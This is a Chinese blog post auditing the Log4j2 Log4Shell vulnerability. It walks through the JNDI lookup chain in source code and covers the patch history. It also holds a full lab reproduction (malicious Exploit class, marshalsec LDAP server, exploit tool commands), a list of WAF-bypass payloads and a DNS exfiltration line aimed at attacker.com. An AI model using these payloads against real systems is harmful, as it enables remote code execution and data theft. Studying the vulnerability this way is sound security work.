代码审计 | Log4j2 —— CVE-2021-44228 JNDI 注入与递归解析的完整链路分析

0 阅读3分钟

代码审计 | Log4j2 —— CVE-2021-44228 JNDI 注入与递归解析的完整链路分析

目录


环境搭建

  • JDK:jdk8u65
  • Log4j2:2.14.1

pom.xml 依赖:

<dependencies>
  <dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.14.1</version>
  </dependency>
  <dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-api</artifactId>
    <version>2.14.1</version>
  </dependency>
</dependencies>

添加好依赖之后效果如下:

然后通过 Maven 下载源码,方便后面调试:


漏洞复现

编写测试代码

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4jTest {
    private static final Logger logger = LogManager.getLogger(Log4jTest.class);

    public static void main(String[] args) {
        // 高版本 JDK(如 8u121+)默认禁止远程对象加载,调试时需手动开启
        // System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
        // System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");

        // 模拟用户输入的恶意字符串
        String payload = "${jndi:ldap://127.0.0.1:1389/Exploit}";

        // 触发漏洞
        logger.error("用户输入数据: {}", payload);
    }
}

构造恶意 class 文件

Exploit.java

import java.io.IOException;

public class Exploit {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
}

执行 javac Exploit.java 编译成 class 文件,然后在 class 文件所在目录启动一个简单的 HTTP 服务:

python -m http.server 5566

启动 LDAP 转发器

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://172.16.250.1:5566/#Exploit" 1389

参数说明:

  • -cp:指定类路径(classpath)
  • marshalsec.jndi.LDAPRefServer:启动 LDAP 转发器(还有 marshalsec.jndi.RMIRefServer 可以启动 RMI 转发器
  • "http://172.16.250.1:5566/#Exploit":远程恶意类的下载地址(带引用锚点)
    • #Exploit# 后的部分在 LDAP 协议中会被解析为引用的 classFactory 名称,受害者最终会请求 /Exploit.class 文件,不用 # 不能正常启动(规范写法)
  • 1389:LDAP 服务监听的本地端口

请求流程

整个攻击链的请求顺序如下:

受害服务器                          攻击机
    |                                  |
    |---① LDAP 查询请求 ------------->| (marshalsec:1389)
    |                                  |
    |<--② 返回 JNDI Reference --------| (codebase=http://攻击机:5566/)
    |                                  |
    |---③ HTTP 下载 Exploit.class ---->| (HTTP服务:5566)
    |                                  |
    |<--④ 返回恶意类字节码 -----------|
    |                                  |
    | (加载并执行恶意代码)             |
  1. 受害服务器 .lookup("ldap://攻击机IP:1389/Exploit") 请求攻击机 LDAP 服务
  2. 攻击机 LDAP 服务收到查询后返回一个 javax.naming.Reference 对象,包含 codebase 地址(http://172.16.250.1:5566/)和类名(Exploit
  3. 告诉受害服务器去 http://172.16.250.1:5566/ 这里找 Exploit 文件
  4. 受害服务器解析该引用后,自动从 codebase 地址下载 Exploit.class 文件,然后实例化并执行恶意代码

测试成功,弹出计算器:

HTTP 服务日志中可以看到 GET /Exploit.class 的请求记录。


注意事项

1. 把恶意代码写到静态块里更好

static {
    try {
        Runtime.getRuntime().exec("calc");
    } catch (IOException e) {
        throw new RuntimeException(e);
    }
}

原因:

  • 静态块:当类被 Class.forName() 加载时就会执行,在实例化之前
  • 构造方法:必须等到 newInstance() 创建对象实例时才会执行

静态块的好处:即使实例化失败,恶意代码也能执行,而且只执行一次,避免重复操作

2. class 文件不能放在项目能找到的地方

如果放在项目的 classpath 里,JVM 会优先从本地加载该类,根本不会发起 HTTP 请求,也就没有起到远程下载的效果了。

3. 包名问题

如果 Exploit 类声明了包名(如 package com.attack;),受害服务器会按完整类名 com.attack.Exploit 去 HTTP 服务器上请求 com/attack/Exploit.class,路径包含目录结构。

最简单稳妥的做法:不声明包名,使用默认包,这样请求的就是 /Exploit.class,减少路径错误。


使用 JNDI 工具一键利用

上面是自己手动写 class 实现的,不过现在的 JNDI 利用工具有自带执行命令的功能,更加方便:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C calc -A 172.16.250.1

修改一下 payload:

String payload = "${jndi:ldap://172.16.250.1:1389/jxjkff}";


代码审计

复现完了,接下来开始审计。有几个我比较关心的问题:

  1. 触发点是 logger.error(),看着并不是一个特殊的函数,那会不会还有其他的触发方式?
  2. payload 的写法 ${jndi:ldap://172.16.250.1:1389/jxjkff},特别是被 ${} 包裹的这个结构,Log4j 是从哪里开始解析它的?
  3. 不同版本的 LDAP 和 RMI 之间有什么区别?

带着这几个问题开始跟调用链。

payload 入口追踪

payload 被完整传入了 error() 方法:

进入类里面,message 是字符串,p0 是 payload,没有问题:

进入 logIfEnabled 方法,做了一个日志级别判断:

进入 logMessage 方法,这里创建了一个对象来存储 messagep0 的信息:

final Message msg = messageFactory.newMessage(message, p0);

可以看到只是单纯的存储数据,没有对字符串处理,payload 放在了 stringArgs 这个数组里:

然后经过 logMessageSafely >> logMessageTrackRecursion >> tryLogMessage >> log(),目前还是没有对 payload 处理,进入另一个 log() 方法:

到了 loggerConfig.log 这里,创建了一个 logEvent 对象:

这个对象里有个变量,是字符串和 payload 的组合:

然后 logEvent 传入 log(logEvent, LoggerConfigPredicate.ALL) 里的 event

进入 processLogEvent

然后带着对象进入了 callAppenders

controls[i].callAppender(event) >> callAppenderPreventRecursion(event) >> callAppender0(event) >> tryCallAppender(event) >> appender.append(event) >> tryAppend(event) >> directEncodeEvent(event)


MessagePatternConverter:关键转折点

进入 getLayout().encode(event, manager)

final StringBuilder text = toText((Serializer2) eventSerializer, event, getStringBuilder());

toText >> toSerializable >> formatters[i].format(event, buffer),然后是一直的循环处理。

当来到第八轮循环的时候,进入了 MessagePatternConverter.format,这正是对 ${} 里面的数据做提取的地方:

经过 ((StringBuilderFormattable) msg).formatTo(workingBuilder)

输入的数据被提取出来和前缀消息拼接到了 workingBuilder

接下来有一段关键逻辑:

if (config != null && !noLookups) {
    for (int i = offset; i < workingBuilder.length() - 1; i++) {

        // 在 workingBuilder 里面找 "${" 子串
        if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') {

            // 把输入的信息赋值给 value
            // offset 是固定的值,意思是 workingBuilder 前面的时间等信息不算,
            // 只会保留我们输入的信息

            final String value = workingBuilder.substring(offset, workingBuilder.length());

            // 设置了 workingBuilder 的长度,使 workingBuilder 里没了我们输入的信息
            workingBuilder.setLength(offset);

            // 把 config.getStrSubstitutor().replace(event, value) 处理完的信息拼接回 workingBuilder
            workingBuilder.append(config.getStrSubstitutor().replace(event, value));

步入时点击选择 replace 函数:

source 就是输入的值:

用户输入数据: ${jndi:ldap://172.16.250.1:1389/jxjkff}


substitute:变量解析核心

然后进入了 substitute 方法,它的作用是递归地查找并替换字符串中的 ${...} 占位符

核心能力:

  • 识别 ${xxx}
  • 支持嵌套 ${${a}}
  • 支持默认值 ${a:-b}
  • 支持递归解析
  • 支持转义

逐段看一下代码:

final StrMatcher prefixMatcher = getVariablePrefixMatcher();  // 匹配字符 ${
final StrMatcher suffixMatcher = getVariableSuffixMatcher();  // 匹配字符 }
final char escape = getEscapeChar();
// 获取转义符,默认是 $,比如 $${xxx} 会变成 ${xxx},里面不会被解析

在字符串里面找 ${

final int startMatchLen = prefixMatcher.isMatch(chars, pos, offset, bufEnd);

如果找到了:

if (pos > offset && chars[pos - 1] == escape) {
    // 这是判断 ${ 前面有没有 $,也就是是不是 $${ ,是的话就是转义,直接跳过
}

如果没有转义,则开始对 ${ 后的字符处理:

if (substitutionInVariablesEnabled
        && (endMatchLen = prefixMatcher.isMatch(chars, pos, offset, bufEnd)) != 0) {
    // found a nested variable start
    nestedVarCount++;
    pos += endMatchLen;
    continue;
}

这是对外层的 ${ 匹配 },找到最外层的 } 边界,方便把中间的内容递归传入 substitute 继续处理。

如果找到后 nestedVarCount == 0,意思是已经找到了最外层的 }(因为找到一个 ${ 就加一,找到一个 } 就减一),就开始对 ${} 里面的内容处理了:

String varNameExpr = new String(chars, startPos + startMatchLen, pos - startPos - startMatchLen);
// 提取当前最外层的 ${} 里的内容给 varNameExpr
if (substitutionInVariablesEnabled) {
    final StringBuilder bufName = new StringBuilder(varNameExpr);
    substitute(event, bufName, 0, bufName.length());
    varNameExpr = bufName.toString();
}

如果 substitutionInVariablesEnabled(允许递归,默认是允许的),就把 varNameExpr 放入 substitute 再次递归,最后出来的是没有 ${} 的内容,因为里面的内容会被当做变量处理。

接着是对 :- 键值对处理的逻辑:

if (valueDelimiterMatcher != null) { ... }

假设 varNameExpr 的值是 "host:-localhost"

  • 代码会遍历每个字符,找到 ":-" 这个分隔符(valueDelimiterMatcher 默认匹配 :-
  • 将分隔符前面的部分 "host" 作为 varName,后面的部分 "localhost" 作为 varDefaultValue
  • 如果 varNameExpr 中没有 :-,则整个字符串就是 varNamevarDefaultValue 保持 null

所以原本的 payload ${} 被拆成了:

  • varName = jndi:ldap://172.16.250.1:1389/jxjkff
  • varDefaultValue = null
if (priorVariables == null) {
    priorVariables = new ArrayList<>();
    priorVariables.add(new String(chars, offset, length + lengthChange));
}

// handle cyclic substitution
checkCyclicSubstitution(varName, priorVariables);
priorVariables.add(varName);

这里有一个防止无限递归的机制,不过处理依然有限,只能防止 ${a}${a} 这种死循环,对安全没有实质帮助。


resolveVariable:触发入口

最后到了触发 payload 的入口:

String varValue = resolveVariable(event, varName, buf, startPos, endPos);

这个方法相当于一个调度员,会根据 varName 去寻找和执行对应任务,返回值为 varValue

protected String resolveVariable(final LogEvent event, final String variableName,
        final StringBuilder buf, final int startPos, final int endPos) {
    final StrLookup resolver = getVariableResolver();
    if (resolver == null) {
        return null;
    }
    return resolver.lookup(event, variableName);
}

接受变量名,交给 resolver 处理。


Interpolator:协议分发

resolver.lookup(event, variableName) 进入了 Interpolator.lookup

final int prefixPos = var.indexOf(PREFIX_SEPARATOR);
// PREFIX_SEPARATOR 是固定值 ":",这个会匹配第一个冒号前的内容

有冒号就进入 if (prefixPos >= 0) 的判断里面:

final String prefix = var.substring(0, prefixPos).toLowerCase(Locale.US);
final String name = var.substring(prefixPos + 1);

jndi:ldap://172.16.250.1:1389/jxjkff 拆成了:

  • prefix = jndi
  • name = ldap://172.16.250.1:1389/jxjkff

接下来是分发机构,会检测各种 prefix 的信息:

final StrLookup lookup = strLookupMap.get(prefix);

总共有 12 种,获取对应的实例。没有任何过滤,不管传入什么都会来匹配。"jndi" 对应 JndiLookup

String value = null;
if (lookup != null) {
    value = event == null ? lookup.lookup(name) : lookup.lookup(event, name);
}

如果找到了对应的实例,就调用它的 lookup 方法,传入 name 和可选的 event 参数。

对于 JNDI 注入,lookupJndiLookup,其 lookup(event, name) 内部会执行 JndiLookup.lookup(name),发起 JNDI 查询:

这里就是执行 JNDI 查询的地方,整条链走完了。


触发条件与常见入口

所有日志级别(info、error、warn 等)只要启用了,且日志消息中包含用户可控的字符串,都可能触发漏洞。

入口类型示例代码
HTTP 参数logger.info("param: {}", request.getParameter("input"));
HTTP Headerlogger.error("User-Agent: {}", request.getHeader("User-Agent"));
Cookielogger.warn("Cookie: {}", cookie.getValue());
请求体logger.debug("Body: {}", IOUtils.toString(request.getReader()));
文件名logger.info("Upload: {}", file.getOriginalFilename());

Lookup 类型一览:

Lookup 类型作用利用示例
upper转换为大写${${upper:j}ndi},先转为 J,再拼接成 Jndi
:-(Default Lookup)如果键不存在,则返回默认值${::-j}${::-n}${::-d}${::-i},直接逐个字符拼出 jndi
env获取系统环境变量的值${env:JNDI:-jndi},如果环境变量 JNDI 不存在,则返回默认值 jndi
sys获取 Java 系统属性的值${sys:LDAP:-ldap},获取系统属性值或默认值
main获取应用程序的 main 参数可用于注入参数值,但在攻击中不如其他方式常用
ctx获取 ThreadContext 映射中的值攻击者若能控制上下文(例如通过 HTTP Header),则可注入恶意值
date格式化当前日期或时间理论上可用于构造特殊字符串,但在实际攻击中很少见
log4j获取 Log4j 相关的配置信息通常用于获取配置目录等信息,可辅助攻击

WAF 绕过原理

为什么 ${${lower:j}ndi:...} 能绕过 WAF?

核心逻辑:

  1. 第一层 substitute 识别到 ${...}
  2. 它发现变量名里还有 ${,于是递归调用 substitute 处理内部的 ${lower:j}
  3. 内部解析完变成 j,返回给外层
  4. 外层拼接出 jndi,再次解析,最终触发 JndiLookup

WAF 看到的是 ${${lower:j}ndi:...},过滤的关键词 jndi: 并不直接出现在字符串里,但 Log4j 在解析时会先把内层的 ${lower:j} 解析为 j,拼出完整的 jndi:,再去查 JNDI。

总结一下 payload 是否触发:

Payload 示例是否触发 JNDI原因
${jndi:ldap://...}✅ 是前缀 jndi: 匹配 JndiLookup
${JNDI:ldap://...}❌ 否前缀区分大小写(jndi 小写)
${ldap://...}❌ 否jndi: 前缀,被当作普通变量
${abc:xyz}❌ 否前缀 abc 未注册,返回空
${sys:user.name}❌ 否(但可读系统属性)不同前缀,不涉及 JNDI

jndi: 前缀后可以跟 ldap://rmi://dns://iiop:// 等协议,原理相同。

在组合这些元素时,需要注意大小写语法。${lower:Jndi} 的结果是 jndi,而 ${upper:jndi} 的结果是 JNDI


常见绕过 payload

# 字符拆分绕过
${::-j}${::-n}${::-d}${::-i}

# 大小写转换绕过
${${lower:j}ndi}
${${upper:j}ndi}

# 多级嵌套绕过
${${lower:j}${lower:n}${lower:d}${lower:i}}

# 环境变量默认值绕过
${${env:BARFOO:-j}ndi}

# 逐字符默认值绕过
${${:-j}${:-n}${:-d}${:-i}}

# 通过 dnslog 外带数据(常用于探测)
${jndi:dns://${env:USER}.attacker.com}

# Unicode 编码绕过(\u0024\u007b 解码后为 ${)
\u0024\u007b jndi:ldap://...}

补丁分析

Log4j 的修复分了好几个版本,一步一步收紧:

  • JDK 版本因素:高版本 JDK(8u191、11.0.1 之后)默认禁止 JNDI 加载远程类(trustURLCodebase 默认为 false),可以阻止基础的利用,但绕过方式依然存在(如利用本地 Gadget)
  • 2.15.0:限制了 JNDI 协议,默认只允许 java://,禁用了 ldap:// 等远程协议,但还存在 DoS 漏洞(CVE-2021-45046)
  • 2.16.0:彻底禁用 JNDI 功能,MessagePatternConverter 中直接设置 noLookups = true
  • 2.17.0:进一步修复递归解析问题,限制了 substitute 的递归深度,防止 DoS

最根本的修复思路就两个:要么禁用 Lookup,要么禁用 JNDI


总结

整条漏洞链走下来,核心其实很清晰:

  1. 用户可控的字符串进入了 logger.*() 方法,成为日志消息的一部分
  2. MessagePatternConverter.format() 检测到消息中包含 ${,触发变量替换逻辑
  3. substitute() 递归解析 ${...} 占位符,允许嵌套,没有任何白名单限制
  4. resolveVariable()Interpolator.lookup() 根据前缀分发到对应的 Lookup 处理器,12 种协议全部支持,无过滤
  5. JndiLookup.lookup() 发起 JNDI 查询,加载并实例化远程恶意类,RCE 达成

这个漏洞的危害程度这么高,本质上是因为一个"方便开发者的功能"(变量插值 + JNDI Lookup)在设计上完全没有考虑用户输入可控的场景。写代码的时候日志里打一个 {} 太常见了,几乎所有人都中招。

参考:Apache Log4j2 官方 Security 公告,marshalsec、JNDI-Injection-Exploit 工具。